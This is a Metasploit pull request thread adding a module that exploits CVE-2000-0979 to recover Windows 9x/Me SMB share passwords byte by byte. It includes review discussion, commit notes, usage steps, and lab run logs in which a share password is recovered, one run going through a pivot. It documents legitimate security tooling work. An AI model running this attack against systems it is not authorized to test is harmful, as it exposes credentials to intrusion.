Skip to content

Add module for CVE-2000-0979 Windows 9x/Me SMB share password enumeration - #21072

Merged
cdelafuente-r7 merged 22 commits into
rapid7:masterfrom
Z6543:add-cve-2000-0979-module
Oct 2, 2026
Merged

cdelafuente-r7 merged 22 commits into
rapid7:masterfrom
Z6543:add-cve-2000-0979-module

Conversation

@Z6543

@Z6543 Z6543 commented Mar 6, 2026 •

Copy link
Copy Markdown
Contributor

Summary

  • Adds an auxiliary module that exploits CVE-2000-0979, an information disclosure
    vulnerability in Microsoft Windows 9x/Me SMB share-level password authentication
  • The server validates passwords one character at a time, allowing byte-by-byte
    enumeration that significantly reduces brute-force complexity
  • Original proof-of-concept by Azbil SecurityFriday Co Ltd (Share Password Checker)

Verification

  • Start msfconsole
  • use auxiliary/scanner/smb/cve_2000_0979
  • set RHOSTS <target Windows 9x/Me host>
  • set SMBName <target Windows name>
  • run
  • Verify shares are enumerated and listed
  • Verify password brute-force runs and reports confirmed characters progressively
  • Verify final password is printed on completion
  • Verify empty password detection works on unprotected shares
  • Document included

Adds a module that exploits the byte-by-byte password validation
vulnerability in Windows 9x/Me SMB share-level authentication,
allowing share passwords to be recovered character by character.

@smcintyre-r7 smcintyre-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason this needs to implement it own SMB stack using hard coded packets instead of using RubySMB? It should really be using RubySMB if the client is capable of doing what you need it to. That would dramatically reduce the amount of code in this module.

@Z6543

Z6543 commented Mar 13, 2026

Copy link
Copy Markdown
Contributor Author

Is there a reason this needs to implement it own SMB stack using hard coded packets instead of using RubySMB? It should really be using RubySMB if the client is capable of doing what you need it to. That would dramatically reduce the amount of code in this module.

Unfortunately, RubySMB does not support SMB with Win95/98.
See a test run against Win95:

msf6 auxiliary(scanner/smb/smb_enumshares) > run
[-] 192.168.124.178:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a valid SMB packet
[*] 192.168.124.178: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enumshares) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > run
[*] 192.168.124.178:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

@smcintyre-r7

Copy link
Copy Markdown
Contributor

Would you mind looking into why it's not working or at least filing a bug for it? If we fix the underlying issue in RubySMB then future modules and probably existing modules will benefit from the expanded compatibility versus us having a stripped down client implementation in this one module to maintain in the future as well.

If you go the route of opening the issue, we'd block this PR on it until someone has a chance to fix it but the gist is we shouldn't be adding another SMB client with binary packets when we have SMB clients already. You could try to go with the old rex client, but we should really be phasing that out in favor of RubySMB as well. If you get it working with Rex, we can merge the PR but we'd have to come back to this in the future if we ever get around to removing the rex client and depending on time constraints the module might just get cut since it's for a 30 year old target.

Your best bet is updating RubySMB.

@cj-zoltan-balazs

Copy link
Copy Markdown

@smcintyre-r7 I wanted to create a PR to ruby_smb but I am not a contributor so I can't, can you add my user as a contributor?

This is the PR
https://github.com/rapid7/ruby_smb/compare/rapid7:master...Z6543:win9x-smb1-support?expand=1

@zeroSteiner

Copy link
Copy Markdown
Contributor

You don't need to be a collaborator to open a pull request. Trying doing it through the UI and selecting your fork and branch. Collaborators have extended permissions, we don't give that out.

Replace all hardcoded SMB byte arrays with RubySMB packet classes and
Metasploit SMB client mixins. The module previously built every SMB
packet (NetBIOS session request, negotiate, session setup, tree
connect, tree disconnect, and RAP NetShareEnum) as raw byte arrays
with placeholder-based templating, sent over a bare TCP socket.

Connection and authentication now use the standard SMB::Client and
SMB::Client::Authenticated mixins via connect() + smb_login(), which
handle NetBIOS session setup, dialect negotiation, and session setup
automatically. This replaces six hardcoded packet definitions and the
sequential packet-dispatch loop that drove them.

Share enumeration uses RubySMB::Client#net_share_enum_rap, which
builds the RAP transaction over \PIPE\LANMAN internally. This
replaces the hardcoded netshareenum_request byte array and the manual
TID-patching and response-offset parsing (response[65..66] for count,
20-byte stride at offset 68 for entries).

The brute-force phase builds TreeConnectRequest and
TreeDisconnectRequest using RubySMB::SMB1::Packet classes, with
password_length and password fields set programmatically. Packets are
sent through simple.client.send_recv and responses are parsed via
TreeConnectResponse, checking smb_header.nt_status.value for
success/failure. This replaces the tree_connect_request_path_password
template with its five placeholder fields (nbs_length, length0,
length1, byte_count0, byte_count1) and the manual update_password,
update_tid, and update_machine_name substitution methods.

The byte-by-byte CVE-2000-0979 brute-force logic is preserved: start
each position at 0x20, increment on failure, extend on success, and
detect empty passwords when both first and second positions succeed
at 0x20 without iteration.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
@Z6543

Z6543 commented Apr 10, 2026

Copy link
Copy Markdown
Contributor Author

If pull/294 gets merged, this latest version of cve_2000_0979 works with ruby_smb properly. Let me know if you need any help in getting these changes accepted.
I also updated smb_enumshares to support Win95 type shares.
pull/21123

Z6543 added 8 commits April 23, 2026 10:23
Under `set VERBOSE true`, print the share path, probe password bytes,
and the raw NT status returned by the server for each attempt. Makes
it possible to distinguish CVE-vulnerable targets (status toggles
between 0 and STATUS_WRONG_PASSWORD per byte) from hardened targets
(uniform non-zero status) without instrumenting ruby_smb.
Explain when to leave it at the *SMBSERVER wildcard (auto-discovery via
UDP/137 runs if the server rejects it) vs. when to set it explicitly
(required if the target blocks UDP/137 or you already know the name).
Include the common lookup commands so users can retrieve the name from
a host that can reach the NetBIOS name service.
When the user leaves SMBName at the default wildcard, run
RubySMB::Nbss::NodeStatus.file_server_name(rhost) up front and store
the resolved name back on the datastore. The UDP socket comes from
Rex::Socket::Udp.create so the lookup works through an active session
(Meterpreter pivot) instead of opening a raw stdlib UDPSocket that
would bypass pivoting.

No-op when the user set SMBName explicitly — their choice is honored.
Log the name table on success and distinguish timeout vs. parse vs.
missing-0x20 when the NBNS probe comes back empty, so troubleshooting
SMBName auto-resolution doesn't require touching ruby_smb.
Win9x replies to destination port 137 regardless of source port. Rex
binds its local endpoint via 'LocalHost'/'LocalPort' at create time
(not a post-create bind), so pass 0.0.0.0:137 on construction. When
the framework (or OS) lacks privilege to bind 137, creation raises
and the fallback UDPSocket candidate is tried next.
The matching ruby_smb change stopped trying to force the NBNS socket
onto local port 137, so the Rex factory no longer needs 'LocalPort'
either. Back to a simple pivot-aware default factory.
Matches the matching ruby_smb change — Win9x replies to destination
UDP/137, so the client has to bind locally to 137 to receive the
answer. Rex sockets take LocalHost/LocalPort on construction.
Document the privilege requirement in a comment so users who hit the
silent EACCES fallthrough know why.
RubySMB removed Client#net_share_enum_rap (rapid7/ruby_smb#294 review
comment r3134040652). Tree-connect to IPC\$ here and call the tree-scoped
helper directly, mirroring the pattern used for other SMB1 tree ops.
@smcintyre-r7

Copy link
Copy Markdown
Contributor

Now that the RubySMB PR has been landed this needs to be rebased to pull the changes in. After that the module will need to be updated to leverage them.

)
end
],
['UDPSocket', -> { UDPSocket.new }]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using the standard socket library is going to prevent this from working in contexts where it should such as when pivoting over a Meterpreter session. In that case, the comment on lines 114-122 is also not entirely accurate because the compromised host may have been compromised with the necessary privileges.

Is there a scenario you were running into that necessitated using UDPSocket instead of Rex::Socket::Udp?

candidates.each do |label, factory|
vprint_status("NBNS: querying #{rhost} via #{label}")
begin
entries = RubySMB::Nbss::NodeStatus.query(rhost, udp_socket_factory: factory)

@smcintyre-r7 smcintyre-r7 May 7, 2026 •

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I see this is requiring rapid7/ruby_smb#296 to be required as well. I'm going to finish the code review, but hold off on testing things until that PR is landed.

Realistically that's probably going to hold things up for another couple of weeks. You could drop this and just require the name be set in the datastore option for the time being and we could get this moved forward a bit more quickly and come back to it once RubySMB has the extra capabilities.


# Sends a TreeConnect request with exact password bytes and returns
# success/failure without raising on bad status.
def try_tree_connect(share_path, password_bytes)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should be able to replace this and use the password parameter to #tree_connect that was added in your earlier PR.

@github-project-automation github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban May 7, 2026
@smcintyre-r7 smcintyre-r7 self-assigned this May 7, 2026
@smcintyre-r7 smcintyre-r7 added module rn-modules release notes for new or majorly enhanced modules labels May 7, 2026
Z6543 added 4 commits May 9, 2026 14:23
When nmbd (or another process) holds UDP/137, Win9x NBNS replies go to
its more-specific binding and the Rex/UDPSocket paths get nothing.
RubySMB::Nbss::NodeStatus.query_via_raw_socket uses SOCK_RAW/IPPROTO_UDP
which receives a kernel copy of every incoming datagram regardless of
port ownership, so the response is captured even when nmbd intercepts it.
Line 81 referenced `fname` after the each_line block ended, causing a
NameError when msftidy produced no stdout. Replace with a generic
success message guarded by status.success?.

Also prefix the msftidy command with `rvm <target> do` when ~/.rvm/bin/rvm
is present and the project has .ruby-version/.ruby-gemset, so bundle exec
resolves gems from the correct RVM gemset instead of the system Ruby.
Pass BUNDLE_GEMFILE=Gemfile.local when that file exists.
- Drop NBNS auto-discovery (depends on ruby_smb PR rapid7#296, not yet
  landed); make SMBName a required datastore option instead so the
  module is unblocked and can be tested immediately
- Remove UDPSocket stdlib fallback from the NBNS candidate list;
  only Rex::Socket::Udp is appropriate to support Meterpreter pivoting
- Replace hand-rolled try_tree_connect (manual SMB1 packet assembly)
  with simple.client.tree_connect(path, password:), the API added in
  the earlier ruby_smb PR; catch UnexpectedStatusCode for wrong-password
  probes and use tree.disconnect! instead of a manual TID disconnect
@bwatters-r7 bwatters-r7 moved this from Waiting on Contributor to Waiting on Review in Metasploit Kanban Jul 13, 2026
@Z6543

Z6543 commented Jul 29, 2026

Copy link
Copy Markdown
Contributor Author

Is there anything I can do to push this forward?
Maybe discuss at summer camp? @smcintyre-r7

@smcintyre-r7 smcintyre-r7 removed their assignment Aug 4, 2026
RubySMB::Client#tree_connect appends a NUL terminator to the share
password and counts it in Password Length. That breaks the byte-by-byte
enumeration: a single guessed byte is sent as two bytes, and the trailing
NUL never matches the next real password character, so no guess succeeds.

Build the TreeConnectRequest directly so Password Length equals the
number of guessed bytes, matching how Win9x/Me validates the prefix.
@cdelafuente-r7 cdelafuente-r7 self-assigned this Aug 25, 2026
@cdelafuente-r7 cdelafuente-r7 moved this from Waiting on Review to In Progress in Metasploit Kanban Aug 25, 2026
Auto-discover the target NetBIOS name with a RubySMB node status query
(UDP/137) when SMBName is unset, so it is no longer mandatory. Win9x/Me
reply to UDP destination port 137, so the query socket binds local port
137, which requires root; a non-root check and bind errors report a clear
message telling the user to run as root or set SMBName manually.

@cdelafuente-r7 cdelafuente-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @Z6543 for your contribution. I left a few comments and suggestions. I also tested using the NetBIOS name resolution ruby_smb branch and it seems to work fine against a Win98SE target. I also tested in a pivoting context and it only works if you NBNS lookup is not needed (e.i. with SMBName set). See my comment about the Rex::Socket::Udp parameters.

Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread tools/dev/pre-commit-hook.rb
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
- Add frozen_string_literal magic comment
- Convert to the Auxiliary::Scanner mixin (run_host, RHOSTS/THREADS)
- Make DELAY required and simplify the probe sleep
- Deregister the forced SMBDirect option
- Report the SMB and NBNS services and the recovered password as a vuln
- Hint at SMBName when the NetBIOS session request is refused
- NBNS discovery: query from an ephemeral port first and only bind the
  privileged UDP/137 (root) as a Win95 fallback; add PeerHost/PeerPort so
  the socket works when pivoting and use the NBNS_PORT constant
- Stop the byte brute force at the last printable ASCII byte (0x7e)
- Rewrite documentation to the standard module doc sections
@Z6543

Z6543 commented Sep 22, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for the thorough review @cdelafuente-r7. All comments addressed in f5ba52c, with inline replies on each thread. Highlights:

  • Converted to the Auxiliary::Scanner mixin (run_host, RHOSTS/THREADS).
  • NBNS discovery reworked to query from an ephemeral port first and only bind the privileged UDP/137 as a root-only Win95 fallback, so root is no longer always required. Added PeerHost/PeerPort and the NBNS_PORT constant.
  • Added service and vuln reporting, the SMBName hint on a refused session request, frozen_string_literal, required DELAY, deregistered SMBDirect, printable-byte range fix, and a documentation rewrite that passes msftidy_docs.
  • Removed the unrelated pre-commit-hook.rb change; it will get its own PR.

Validated end-to-end against a live Windows 95 target (SMBName set): shares enumerated, one share's password brute-forced, and empty-password shares detected. The only path I can't fully verify locally is the root/UDP-137 Win95 auto-discovery fallback, since binding 137 requires root on my test host — the ephemeral path (Win98SE/Me) is confirmed.

@cdelafuente-r7 cdelafuente-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @Z6543, I tested everything again and it works well. I just left a few last comments before it lands. Also, I landed the ruby_smb PR and it is now available on rubygems.org. Please, can you bump the version in Gemfile.lock running this and commit these changes here?

bundle update ruby_smb --conservative

Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Comment thread modules/auxiliary/scanner/smb/cve_2000_0979.rb Outdated
Z6543 and others added 5 commits October 1, 2026 19:52
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
@Z6543

Z6543 commented Oct 1, 2026

Copy link
Copy Markdown
Contributor Author

@cdelafuente-r7 thanks! Bumped ruby_smb to 3.3.25 (the published gem containing ruby_smb#296) via bundle update ruby_smb --conservative and committed the Gemfile.lock change in f471e91.

All comments from the latest round are addressed and pushed:

  • @smb_service saved from report_service and passed to report_vuln (service now associated to the vuln in the DB)
  • NBNS reported as a layered service with udp as the parent
  • removed the redundant .freeze on PRINTABLE (msftidy lint)

@smcintyre-r7 your earlier review items were all handled back in f5ba52c (switched to RubySMB tree_connect with the password param, Rex::Socket::Udp with PeerHost/PeerPort for pivot support, dropped the unrelated pre-commit-hook change).

@cdelafuente-r7 @smcintyre-r7 would you mind re-reviewing when you get a chance? Thanks!

@cdelafuente-r7

Copy link
Copy Markdown
Contributor

Thank you @Z6543 ! everything looks good now. I tested multiple scenarios (see below) and it works great. I'll go ahead and land it.

Example output

Win98SE - without NetBIOS name discovery
msf auxiliary(scanner/smb/cve_2000_0979) > run verbose=true rhosts=192.168.110.9 SMBName=WIN98LAB
[*] 192.168.110.9:139     - Starting CVE-2000-0979 SMB Share Password Enumerator
[+] 192.168.110.9:139     - EMPTYSHR - (UNKNOWN(DISK))
[+] 192.168.110.9:139     - SECRET - (UNKNOWN(DISK))
[+] 192.168.110.9:139     - PUBLIC - (UNKNOWN(DISK))
[+] 192.168.110.9:139     - IPC$ - (UNKNOWN(IPC))
[+] 192.168.110.9:139     - Number of shares: 4
[*] 192.168.110.9:139     - Brute-forcing password for share: EMPTYSHR
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\EMPTYSHR pw=20 STATUS_SUCCESS
[*] 192.168.110.9:139     - Share EMPTYSHR - confirmed so far:
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\EMPTYSHR pw=2020 STATUS_SUCCESS
[+] 192.168.110.9:139     - Empty password works for share: EMPTYSHR
[*] 192.168.110.9:139     - Brute-forcing password for share: SECRET
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\SECRET pw=20 0x20002
[*] 192.168.110.9:139     - !
...
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\SECRET pw=573938524541447E 0x20002
[*] 192.168.110.9:139     - W98READ
[+] 192.168.110.9:139     - Password found for share SECRET: W98READ
[*] 192.168.110.9:139     - Brute-forcing password for share: PUBLIC
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\PUBLIC pw=20 STATUS_SUCCESS
[*] 192.168.110.9:139     - Share PUBLIC - confirmed so far:
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\PUBLIC pw=2020 STATUS_SUCCESS
[+] 192.168.110.9:139     - Empty password works for share: PUBLIC
[*] 192.168.110.9:139     - Brute-forcing password for share: IPC$
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\IPC$ pw=20 STATUS_SUCCESS
[*] 192.168.110.9:139     - Share IPC$ - confirmed so far:
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\IPC$ pw=2020 STATUS_SUCCESS
[+] 192.168.110.9:139     - Empty password works for share: IPC$
[*] 192.168.110.9:139     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/cve_2000_0979) > hosts

Hosts
=====

address        mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------        ---  ----  -------  ---------  -----  -------  ----  --------
192.168.110.9             Unknown                    device

msf auxiliary(scanner/smb/cve_2000_0979) > services
Services
========

host           port  proto  name     state  info                                                                                                resource  parents
----           ----  -----  ----     -----  ----                                                                                                --------  -------
192.168.110.9  137   udp    netbios  open   NetBIOS name: WIN98LAB                                                                              {}        udp (137/udp)
192.168.110.9  137   udp    udp      open                                                                                                       {}
192.168.110.9  139   tcp    tcp      open                                                                                                       {}
192.168.110.9  139   tcp    smb      open   Module: auxiliary/scanner/smb/cve_2000_0979, last negotiated version: SMBv1 (dialect = NT LM 0.12)  {}        tcp (139/tcp)

msf auxiliary(scanner/smb/cve_2000_0979) > vulns -v

Vulnerabilities
===============
  0. Vuln ID: 25
     Timestamp: 2026-10-02 07:00:33 UTC
     Host: 192.168.110.9
     Name: CVE-2000-0979 SMB Share Password Enumerator
     References: CVE-2000-0979,URL-http://www.securityfriday.com/tools/SPC.html
     Information: Share EMPTYSHR accepts password: <empty>
     Resource: {}
     Service: smb (port: 139, resource: {})
       Parent Services:
         tcp (port: 139, resource: {})
     ...
Win98SE - with NetBIOS name discovery
msf auxiliary(scanner/smb/cve_2000_0979) > run verbose=true rhosts=192.168.110.9
[*] 192.168.110.9:139     - Starting CVE-2000-0979 SMB Share Password Enumerator
[*] 192.168.110.9:139     - SMBName not set; querying 192.168.110.9 for its NetBIOS name (NBNS node status)
[+] 192.168.110.9:139     - Discovered NetBIOS name: WIN98LAB
[+] 192.168.110.9:139     - EMPTYSHR - (UNKNOWN(DISK))
[+] 192.168.110.9:139     - SECRET - (UNKNOWN(DISK))
[+] 192.168.110.9:139     - PUBLIC - (UNKNOWN(DISK))
[+] 192.168.110.9:139     - IPC$ - (UNKNOWN(IPC))
[+] 192.168.110.9:139     - Number of shares: 4
[*] 192.168.110.9:139     - Brute-forcing password for share: EMPTYSHR
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\EMPTYSHR pw=20 STATUS_SUCCESS
[*] 192.168.110.9:139     - Share EMPTYSHR - confirmed so far:
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\EMPTYSHR pw=2020 STATUS_SUCCESS
[+] 192.168.110.9:139     - Empty password works for share: EMPTYSHR
[*] 192.168.110.9:139     - Brute-forcing password for share: SECRET
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\SECRET pw=20 0x20002
[*] 192.168.110.9:139     - !
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\SECRET pw=21 0x20002
[*] 192.168.110.9:139     - "
...
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\SECRET pw=573938524541447E 0x20002
[*] 192.168.110.9:139     - W98READ
[+] 192.168.110.9:139     - Password found for share SECRET: W98READ
[*] 192.168.110.9:139     - Brute-forcing password for share: PUBLIC
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\PUBLIC pw=20 STATUS_SUCCESS
[*] 192.168.110.9:139     - Share PUBLIC - confirmed so far:
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\PUBLIC pw=2020 STATUS_SUCCESS
[+] 192.168.110.9:139     - Empty password works for share: PUBLIC
[*] 192.168.110.9:139     - Brute-forcing password for share: IPC$
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\IPC$ pw=20 STATUS_SUCCESS
[*] 192.168.110.9:139     - Share IPC$ - confirmed so far:
[*] 192.168.110.9:139     - TreeConnect \\192.168.110.9\IPC$ pw=2020 STATUS_SUCCESS
[+] 192.168.110.9:139     - Empty password works for share: IPC$
[*] 192.168.110.9:139     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Win98SE (through pivot) - without NetBIOS name discovery
msf auxiliary(scanner/smb/cve_2000_0979) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   122.87.22.0        255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.
msf auxiliary(scanner/smb/cve_2000_0979) > run verbose=true rhosts=122.87.22.99 SMBName=WIN98LAB
[*] 122.87.22.99:139      - Starting CVE-2000-0979 SMB Share Password Enumerator
[+] 122.87.22.99:139      - EMPTYSHR - (UNKNOWN(DISK))
[+] 122.87.22.99:139      - SECRET - (UNKNOWN(DISK))
[+] 122.87.22.99:139      - PUBLIC - (UNKNOWN(DISK))
[+] 122.87.22.99:139      - IPC$ - (UNKNOWN(IPC))
[+] 122.87.22.99:139      - Number of shares: 4
[*] 122.87.22.99:139      - Brute-forcing password for share: EMPTYSHR
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\EMPTYSHR pw=20 STATUS_SUCCESS
[*] 122.87.22.99:139      - Share EMPTYSHR - confirmed so far:
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\EMPTYSHR pw=2020 STATUS_SUCCESS
[+] 122.87.22.99:139      - Empty password works for share: EMPTYSHR
[*] 122.87.22.99:139      - Brute-forcing password for share: SECRET
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\SECRET pw=20 0x20002
[*] 122.87.22.99:139      - !
...
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\SECRET pw=573938524541447E 0x20002
[*] 122.87.22.99:139      - W98READ
[+] 122.87.22.99:139      - Password found for share SECRET: W98READ
[*] 122.87.22.99:139      - Brute-forcing password for share: PUBLIC
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\PUBLIC pw=20 STATUS_SUCCESS
[*] 122.87.22.99:139      - Share PUBLIC - confirmed so far:
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\PUBLIC pw=2020 STATUS_SUCCESS
[+] 122.87.22.99:139      - Empty password works for share: PUBLIC
[*] 122.87.22.99:139      - Brute-forcing password for share: IPC$
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\IPC$ pw=20 STATUS_SUCCESS
[*] 122.87.22.99:139      - Share IPC$ - confirmed so far:
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\IPC$ pw=2020 STATUS_SUCCESS
[+] 122.87.22.99:139      - Empty password works for share: IPC$
[*] 122.87.22.99:139      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Win98SE (through pivot) - with NetBIOS name discovery
msf auxiliary(scanner/smb/cve_2000_0979) > run verbose=true rhosts=122.87.22.99
[*] 122.87.22.99:139      - Starting CVE-2000-0979 SMB Share Password Enumerator
[*] 122.87.22.99:139      - SMBName not set; querying 122.87.22.99 for its NetBIOS name (NBNS node status)
[+] 122.87.22.99:139      - Discovered NetBIOS name: WIN98LAB
[+] 122.87.22.99:139      - EMPTYSHR - (UNKNOWN(DISK))
[+] 122.87.22.99:139      - SECRET - (UNKNOWN(DISK))
[+] 122.87.22.99:139      - PUBLIC - (UNKNOWN(DISK))
[+] 122.87.22.99:139      - IPC$ - (UNKNOWN(IPC))
[+] 122.87.22.99:139      - Number of shares: 4
[*] 122.87.22.99:139      - Brute-forcing password for share: EMPTYSHR
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\EMPTYSHR pw=20 STATUS_SUCCESS
[*] 122.87.22.99:139      - Share EMPTYSHR - confirmed so far:
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\EMPTYSHR pw=2020 STATUS_SUCCESS
[+] 122.87.22.99:139      - Empty password works for share: EMPTYSHR
[*] 122.87.22.99:139      - Brute-forcing password for share: SECRET
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\SECRET pw=20 0x20002
[*] 122.87.22.99:139      - !
...
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\SECRET pw=573938524541447E 0x20002
[*] 122.87.22.99:139      - W98READ
[+] 122.87.22.99:139      - Password found for share SECRET: W98READ
[*] 122.87.22.99:139      - Brute-forcing password for share: PUBLIC
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\PUBLIC pw=20 STATUS_SUCCESS
[*] 122.87.22.99:139      - Share PUBLIC - confirmed so far:
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\PUBLIC pw=2020 STATUS_SUCCESS
[+] 122.87.22.99:139      - Empty password works for share: PUBLIC
[*] 122.87.22.99:139      - Brute-forcing password for share: IPC$
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\IPC$ pw=20 STATUS_SUCCESS
[*] 122.87.22.99:139      - Share IPC$ - confirmed so far:
[*] 122.87.22.99:139      - TreeConnect \\122.87.22.99\IPC$ pw=2020 STATUS_SUCCESS
[+] 122.87.22.99:139      - Empty password works for share: IPC$
[*] 122.87.22.99:139      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

@cdelafuente-r7
cdelafuente-r7 merged commit 06d5896 into rapid7:master Oct 2, 2026
66 of 67 checks passed
@cdelafuente-r7

Copy link
Copy Markdown
Contributor

Release Notes

This adds an auxiliary module that exploits CVE-2000-0979, an information disclosure vulnerability in Microsoft Windows 9x/Me SMB share-level password authentication. The server validates passwords one character at a time, allowing byte-by-byte enumeration that significantly reduces brute-force complexity.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module rn-modules release notes for new or majorly enhanced modules

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

6 participants